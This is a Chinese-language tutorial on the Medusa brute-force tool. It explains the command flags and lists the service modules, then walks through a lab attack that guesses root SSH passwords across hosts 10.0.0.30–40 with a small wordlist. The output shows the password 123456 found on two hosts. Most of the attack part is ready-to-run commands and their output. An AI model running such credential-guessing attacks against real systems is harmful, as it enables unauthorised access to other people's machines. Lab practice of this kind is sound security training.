Medusa 帮助： Medusa -h[TEXT] 目标主机名称或者IP地址 -H[FILE] 包含目标主机名称或者ip地址的文件 -u[TEXT] 测试的用户名，指定用户名 -U[FILE] 包含用户名的文件 -p（小p) 指定的密码 -P（大p） 指定密码的文件 -C 组合条目文件 -O 日志信息文件 -e[n/s/ns] n代表空密码s代为为密码与用户名相同 -M 模块执行名称 -m 传递参数到模块 -d 显示所有的模块名称 -n 使用非默认TCP端口 -s 启用ssl -r 重试间隔时间，默认为3秒 -t 设定线程数量，同时执行的任务数量 -T 同时测试的主机总数 -L 并行化，每个用户使用一个线程 -f 在任何主机上找个第一个账号/密码后，停止破解 -F 在任何主机上找到一个有效的用户名/密码后停止审计 -q 显示模块的使用信息 -v 详细级别（0-6） -w 错误调试级别（0-10） -V 显示版本 -Z 继续扫描上一次 查看所有模块 root@kali2020:~# medusa -d 返回结果： Medusa v2.2 [http://www.foofus.net] (C) JoMo-Kun / Foofus Networks <jmk@foofus.net> Available modules in "." : Available modules in "/usr/lib/x86_64-linux-gnu/medusa/modules" : + cvs.mod : Brute force module for CVS sessions : version 2.0 + ftp.mod : Brute force module for FTP/FTPS sessions : version 2.1 + http.mod : Brute force module for HTTP : version 2.1 + imap.mod : Brute force module for IMAP sessions : version 2.0 + mssql.mod : Brute force module for M$-SQL sessions : version 2.0 + mysql.mod : Brute force module for MySQL sessions : version 2.0 + nntp.mod : Brute force module for NNTP sessions : version 2.0 + pcanywhere.mod : Brute force module for PcAnywhere sessions : version 2.0 + pop3.mod : Brute force module for POP3 sessions : version 2.0 + postgres.mod : Brute force module for PostgreSQL sessions : version 2.0 + rexec.mod : Brute force module for REXEC sessions : version 2.0 + rlogin.mod : Brute force module for RLOGIN sessions : version 2.0 + rsh.mod : Brute force module for RSH sessions : version 2.0 + smbnt.mod : Brute force module for SMB (LM/NTLM/LMv2/NTLMv2) sessions : version 2.1 + smtp-vrfy.mod : Brute force module for verifying SMTP accounts (VRFY/EXPN/RCPT TO) : version 2.1 + smtp.mod : Brute force module for SMTP Authentication with TLS : version 2.0 + snmp.mod : Brute force module for SNMP Community Strings : version 2.1 + ssh.mod : Brute force module for SSH v2 sessions : version 2.1 + svn.mod : Brute force module for Subversion sessions : version 2.1 + telnet.mod : Brute force module for telnet sessions : version 2.0 + vmauthd.mod : Brute force module for the VMware Authentication Daemon : version 2.0 + vnc.mod : Brute force module for VNC sessions : version 2.1 + web-form.mod : Brute force module for web forms : version 2.1 + wrapper.mod : Generic Wrapper Module : version 2.0 实力1.破解ssh密码 块 实验1破解10.0.0.30-10.0.0.40段的ssh服务 1.手动生成密码文件 vim pass.txt 输入以下内容根据自己的密码输入 asdf asdfqwe qwerasd asdfghjkl zxcvbnm admin123 asdf123 admin123567890 1234567890 12345 123456 1234 2.生成主机IP段文件 vim hostlist.txt 10.0.0.30 10.0.0.31 10.0.0.32 10.0.0.33 10.0.0.34 10.0.0.35 10.0.0.36 10.0.0.37 10.0.0.38 10.0.0.39 10.0.0.40 3执行 -M ssh 使用ssh模 -t 10 使用10线程,这样速度会快一些 -F 屏蔽掉错误的输出，也就是不存在的主机或者错误的密码 -0 ssh_ok.txt 把结果输出到指定的文件中 medusa -M ssh -u root -P pass.txt -H hostlist.txt -t10 -F 返回结果： Medusa v2.2 [http://www.foofus.net] (C) JoMo-Kun / Foofus Networks <jmk@foofus.net> ACCOUNT CHECK: [ssh] Host: 10.0.0.30 (1 of 11, 0 complete) User: root (1 of 1, 0 complete) Password: asdf123 (1 of 12 complete) ACCOUNT CHECK: [ssh] Host: 10.0.0.30 (1 of 11, 0 complete) User: root (1 of 1, 0 complete) Password: 123456 (2 of 12 complete) ACCOUNT FOUND: [ssh] Host: 10.0.0.30 User: root Password: 123456 [SUCCESS] ACCOUNT CHECK: [ssh] Host: 10.0.0.30 (1 of 11, 0 complete) User: root (1 of 1, 1 complete) Password: 12345 (3 of 12 complete) ACCOUNT CHECK: [ssh] Host: 10.0.0.30 (1 of 11, 0 complete) User: root (1 of 1, 1 complete) Password: admin123567890 (4 of 12 complete) ACCOUNT CHECK: [ssh] Host: 10.0.0.30 (1 of 11, 0 complete) User: root (1 of 1, 1 complete) Password: asdf (5 of 12 complete) ACCOUNT CHECK: [ssh] Host: 10.0.0.30 (1 of 11, 0 complete) User: root (1 of 1, 1 complete) Password: asdfghjkl (6 of 12 complete) ACCOUNT CHECK: [ssh] Host: 10.0.0.30 (1 of 11, 0 complete) User: root (1 of 1, 1 complete) Password: zxcvbnm (7 of 12 complete) ACCOUNT CHECK: [ssh] Host: 10.0.0.30 (1 of 11, 0 complete) User: root (1 of 1, 1 complete) Password: asdfqwe (8 of 12 complete) ACCOUNT CHECK: [ssh] Host: 10.0.0.30 (1 of 11, 0 complete) User: root (1 of 1, 1 complete) Password: qwerasd (9 of 12 complete) ACCOUNT CHECK: [ssh] Host: 10.0.0.30 (1 of 11, 0 complete) User: root (1 of 1, 1 complete) Password: admin123 (10 of 12 complete) ACCOUNT CHECK: [ssh] Host: 10.0.0.30 (1 of 11, 0 complete) User: root (1 of 1, 1 complete) Password: 1234567890 (11 of 12 complete) 查看文件里到内容：用cat查看 $cat ssh_ok.txt # Medusa v.2.2 (2020-10-05 21:40:49) # medusa -M ssh -u root -P pass.txt -H hostlist.txt -t 10 -F -O ssh_ok.txt ACCOUNT FOUND: [ssh] Host: 10.0.0.30 User: root Password: 123456 [SUCCESS] # Medusa has finished (2020-10-05 21:41:01). 单主机破解ssh密码 medusa -M ssh -h 10.0.0.32 -u root -P pass.txt 返回结果 Medusa v2.2 [http://www.foofus.net] (C) JoMo-Kun / Foofus Networks <jmk@foofus.net> ACCOUNT CHECK: [ssh] Host: 10.0.0.32 (1 of 1, 0 complete) User: root (1 of 1, 0 complete) Password: asdf (1 of 12 complete) ACCOUNT CHECK: [ssh] Host: 10.0.0.32 (1 of 1, 0 complete) User: root (1 of 1, 0 complete) Password: asdfqwe (2 of 12 complete) ACCOUNT CHECK: [ssh] Host: 10.0.0.32 (1 of 1, 0 complete) User: root (1 of 1, 0 complete) Password: qwerasd (3 of 12 complete) ACCOUNT CHECK: [ssh] Host: 10.0.0.32 (1 of 1, 0 complete) User: root (1 of 1, 0 complete) Password: asdfghjkl (4 of 12 complete) ACCOUNT CHECK: [ssh] Host: 10.0.0.32 (1 of 1, 0 complete) User: root (1 of 1, 0 complete) Password: zxcvbnm (5 of 12 complete) ACCOUNT CHECK: [ssh] Host: 10.0.0.32 (1 of 1, 0 complete) User: root (1 of 1, 0 complete) Password: admin123 (6 of 12 complete) ACCOUNT CHECK: [ssh] Host: 10.0.0.32 (1 of 1, 0 complete) User: root (1 of 1, 0 complete) Password: asdf123 (7 of 12 complete) ACCOUNT CHECK: [ssh] Host: 10.0.0.32 (1 of 1, 0 complete) User: root (1 of 1, 0 complete) Password: admin123567890 (8 of 12 complete) ACCOUNT CHECK: [ssh] Host: 10.0.0.32 (1 of 1, 0 complete) User: root (1 of 1, 0 complete) Password: 1234567890 (9 of 12 complete) ACCOUNT CHECK: [ssh] Host: 10.0.0.32 (1 of 1, 0 complete) User: root (1 of 1, 0 complete) Password: 12345 (10 of 12 complete) ACCOUNT CHECK: [ssh] Host: 10.0.0.32 (1 of 1, 0 complete) User: root (1 of 1, 0 complete) Password: 123456 (11 of 12 complete) ACCOUNT FOUND: [ssh] Host: 10.0.0.32 User: root Password: 123456 [SUCCESS] 这里可以看到密码是123456
